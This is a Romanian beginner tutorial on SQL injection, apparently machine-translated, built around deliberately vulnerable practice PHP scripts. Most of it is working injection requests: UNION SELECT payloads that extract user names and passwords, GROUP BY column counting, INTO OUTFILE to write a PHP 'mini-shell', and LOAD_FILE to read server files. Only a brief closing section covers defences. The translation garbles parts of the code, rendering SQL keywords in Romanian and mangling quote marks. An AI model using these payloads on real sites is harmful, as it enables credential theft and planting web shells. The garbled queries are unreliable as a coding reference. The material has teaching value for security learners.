Mama, după ce a citit biletul, a decis că i-a dat bani lui Vasya ieri și i-a dat 100 de ruble lui Petya. Iată un exemplu simplu de injecție SQL din viață:) Fără a filtra datele (mama abia putea înțelege scrisul de mână), Petya a făcut profit.

Pregătirea
Pentru practică, veți avea nevoie de o arhivă cu scripturile sursă pentru acest articol. Descărcați-l și despachetați-l pe server. De asemenea, importați baza de date și setați datele în fișier cfg.php

Caută injecție SQL

După cum ați înțeles deja, injecția provine din datele primite care nu sunt filtrate. Cea mai frecventă greșeală este de a nu filtra ID-ul transmis. Ei bine, aproximativ vorbind, pune ghilimele în toate domeniile. Fie că este o solicitare GET/POST sau chiar un cookie!

Parametru de intrare numeric
Pentru practică avem nevoie de un scenariu index1.php. După cum am spus mai sus, inserăm ghilimele în ID-ul știrilor.

Deoarece Solicitarea noastră nu are filtrare:

$id = $_GET[„id”]; $query = "SELECT * FROM news WHERE id=$id";

Scriptul va înțelege acest lucru ca

SELECTAȚI * DIN știri WHERE id=1"

Și ne va da o eroare:
Avertisment: mysql_fetch_array() se așteaptă ca parametrul 1 să fie resursă, boolean dat în C:\WebServ\domains\sqlinj\index1.php pe linia 16

Dacă eroarea nu apare, pot exista următoarele motive:

1.Injecția SQL nu este aici - ghilimelele sunt filtrate sau merită convertite (int)
2. Ieșirea de eroare este dezactivată.

Dacă tot primești o eroare - Ura! Am găsit primul tip de injecție SQL - Parametru de intrare numerică.

Parametru de intrare șir

Vom trimite cereri către index2.php. În acest fișier, cererea arată astfel:
$utilizator = $_GET[„utilizator”]; $query = "SELECT * FROM news WHERE user="$user"";

Aici selectăm știrile după numele de utilizator și, din nou, nu filtrăm.
Din nou trimitem o cerere cu o ofertă:

A dat o eroare. BINE! Aceasta înseamnă că există o vulnerabilitate. Pentru început, este suficient pentru noi - să trecem la practică.

Să luăm măsuri

Puțină teorie

Probabil că abia așteptați să obțineți ceva din asta în afară de greșeli. În primul rând, înțelegeți că semnul " -- " este considerat un comentariu în SQL.

ATENŢIE! Trebuie să existe spații înainte și după el. În URL sunt transmise ca %20

Tot ce vine după comentariu va fi eliminat, adică cererea:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Va reuși. Puteți încerca acest lucru pe script-ul index2.php trimițând o solicitare ca aceasta:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Aflați parametrul UNIUNE. În limbajul SQL cuvântul cheie UNIUNE folosit pentru a combina rezultatele a două interogări SQL într-un singur tabel. Adică pentru a scoate ceva de care avem nevoie dintr-o altă masă.

Să profităm de ea

Dacă parametrul este „Numeric”, atunci nu trebuie să trimitem o ofertă în cerere și să punem, în mod natural, un comentariu la sfârșit. Să revenim la scenariu index1.php.

Să trecem la scriptul sqlinj/index1.php?id=1 UNION SELECT 1 . Interogarea noastră în baza de date arată astfel:
SELECT * FROM news WHERE id=1 UNION SELECT 1
Și ne-a dat o eroare, pentru că... pentru a lucra cu interogări de îmbinare, avem nevoie de același număr de câmpuri.

Deoarece Nu putem influența numărul lor în prima solicitare, apoi trebuie să le selectăm numărul în a doua, astfel încât să fie egal cu prima.

Selectarea numărului de câmpuri

Selectarea câmpurilor este foarte simplă, trebuie doar să trimiteți următoarele solicitări:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Eroare…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Inca o greseala!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Nicio eroare! Aceasta înseamnă că numărul de coloane este 5.

GROUP BY
Se întâmplă adesea să fie 20 sau 40 sau chiar 60 de câmpuri, astfel încât să nu fie nevoie să le sortăm de fiecare dată GROUP BY

Dacă cererea
sqlinj/index1.php?id=1 GROUP BY 2
nu a arătat nicio eroare, ceea ce înseamnă că numărul de câmpuri este mai mare de 2. Să încercăm:

Sqlinj/index1.php?id=1 GROUP BY 8
Op, vedem o eroare, înseamnă că numărul de câmpuri este mai mic de 8.

Dacă nu există nicio eroare cu GROUP BY 4, iar cu GROUP BY 6 există o eroare, atunci numărul de câmpuri este 5

Definirea coloanelor de ieșire
Pentru a vă asigura că nu ni se afișează nimic de la prima solicitare, este suficient să înlocuiți un ID inexistent, de exemplu:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Cu această acțiune, am determinat ce coloane sunt afișate pe pagină. Acum, pentru a înlocui aceste numere cu informațiile necesare, trebuie să continuați solicitarea.

Ieșire de date

Să presupunem că știm că tabelul încă există utilizatoriiîn care câmpurile există id, numeŞi pasa.
Trebuie să obținem informații despre utilizatorul cu ID=1

Prin urmare, să construim următoarea interogare:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM utilizatorii WHERE id=1
De asemenea, scriptul continuă să iasă

Pentru a face acest lucru, vom înlocui numele câmpurilor în locul numerelor 1 și 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Avem ce ne trebuia!

Pentru „parametrul de intrare șir”, ca în script index2.php trebuie să adăugați un semn de ghilimele la început și un semn de comentariu la sfârșit. Exemplu:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Citiți/Scrieți fișiere

Pentru a citi și scrie fișiere, utilizatorul bazei de date trebuie să aibă drepturi FILE_PRIV.
Înregistrarea fișierelor
De fapt, este foarte simplu. Pentru a scrie un fișier, vom folosi funcția OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Grozav, fișierul a fost înregistrat la noi. Astfel, putem umple mini-coaja:
sqlinj/index2.php?user=-1" UNION SELECT 1,"„,3,4,5 ÎN OUTFILE „1.php” --%20
Citirea fișierelor
Citirea fișierelor este chiar mai ușoară decât scrierea. Este suficient să utilizați pur și simplu funcția LOAD_FILE, pentru locul câmpului pe care îl selectăm:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Astfel, am citit dosarul scris anterior.

Metode de protecție

A te proteja este chiar mai ușor decât a exploata o vulnerabilitate. Doar filtrați datele. Dacă treceți numere, utilizați
$id = (int) $_GET["id"];
După cum a sugerat utilizatorul Malroc. Protejați-vă folosind DOP sau declarații pregătite.

În loc să completeze

Aici vreau să termin prima mea parte despre „Injecția SQL pentru începători”. În al doilea, ne vom uita la exemple mai severe de injecții. Încercați să scrieți scripturi vulnerabile și să executați singur interogări.
Și amintiți-vă, nu aveți încredere în niciun utilizator al site-ului dvs.